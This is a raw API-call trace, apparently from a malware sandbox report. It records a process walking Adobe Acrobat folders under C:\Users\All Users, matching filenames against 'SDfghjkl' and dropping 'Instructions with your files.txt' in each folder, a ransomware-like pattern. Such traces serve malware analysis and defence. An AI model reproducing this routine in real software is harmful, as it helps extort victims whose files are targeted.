[0131.743] GetProcessHeap () returned 0x810000
[0131.743] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.743] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\*") returned 24
[0131.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb5766ea0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5766ea0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0131.743] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\.") returned 24
[0131.743] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.743] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb5766ea0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb5766ea0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.743] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\..") returned 25
[0131.743] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.743] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafca67e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafca67e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
[0131.743] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe") returned 28
[0131.743] GetProcessHeap () returned 0x810000
[0131.743] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.743] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\*") returned 30
[0131.743] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafca67e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafca67e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0131.743] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\.") returned 30
[0131.743] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafca67e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafca67e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.744] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\..") returned 31
[0131.744] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
[0131.744] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat") returned 36
[0131.744] GetProcessHeap () returned 0x810000
[0131.744] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.744] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\*") returned 38
[0131.744] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.744] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\.") returned 38
[0131.744] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.744] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\..") returned 39
[0131.744] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
[0131.744] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0") returned 41
[0131.744] GetProcessHeap () returned 0x810000
[0131.744] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.744] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*") returned 43
[0131.744] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.744] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\.") returned 43
[0131.744] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.744] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\..") returned 44
[0131.744] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafc343c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.744] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Instructions with your files.txt") returned 74
[0131.744] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.744] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 1
[0131.744] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate") returned 51
[0131.744] GetProcessHeap () returned 0x810000
[0131.744] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.744] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*") returned 53
[0131.744] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.745] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\.") returned 53
[0131.745] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.745] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\..") returned 54
[0131.745] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafc343c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.745] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Instructions with your files.txt") returned 84
[0131.745] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.745] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1
[0131.745] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned 60
[0131.745] GetProcessHeap () returned 0x810000
[0131.745] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f0058
[0131.745] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*") returned 62
[0131.745] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.745] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\.") returned 62
[0131.745] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.745] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\..") returned 63
[0131.745] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x0, dwReserved1=0x0, cFileName="directories.acrodata", cAlternateFileName="DIRECT~1.ACR")) returned 1
[0131.745] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata") returned 81
[0131.745] StrStrIW (lpFirst="directories.acrodata", lpSrch="SDfghjkl") returned 0x0
[0131.745] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafc343c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.745] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Instructions with your files.txt") returned 93
[0131.746] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.746] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xafc343c0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.746] wnsprintfW (in: pszDest=0x22f0058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Instructions with your files.txt") returned 93
[0131.746] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.746] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.747] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.747] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.747] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.747] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.747] CloseHandle (hObject=0x11c) returned 1
[0131.747] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.747] GetProcessHeap () returned 0x810000
[0131.747] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0131.749] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0
[0131.749] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Instructions with your files.txt") returned 84
[0131.749] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.749] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.750] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.750] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.750] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.750] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.750] CloseHandle (hObject=0x118) returned 1
[0131.750] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.751] GetProcessHeap () returned 0x810000
[0131.751] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.751] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xafc343c0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xafc343c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 0
[0131.751] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Instructions with your files.txt") returned 74
[0131.751] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.751] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.752] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.752] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.752] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.753] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.753] CloseHandle (hObject=0x114) returned 1
[0131.753] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.753] GetProcessHeap () returned 0x810000
[0131.753] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
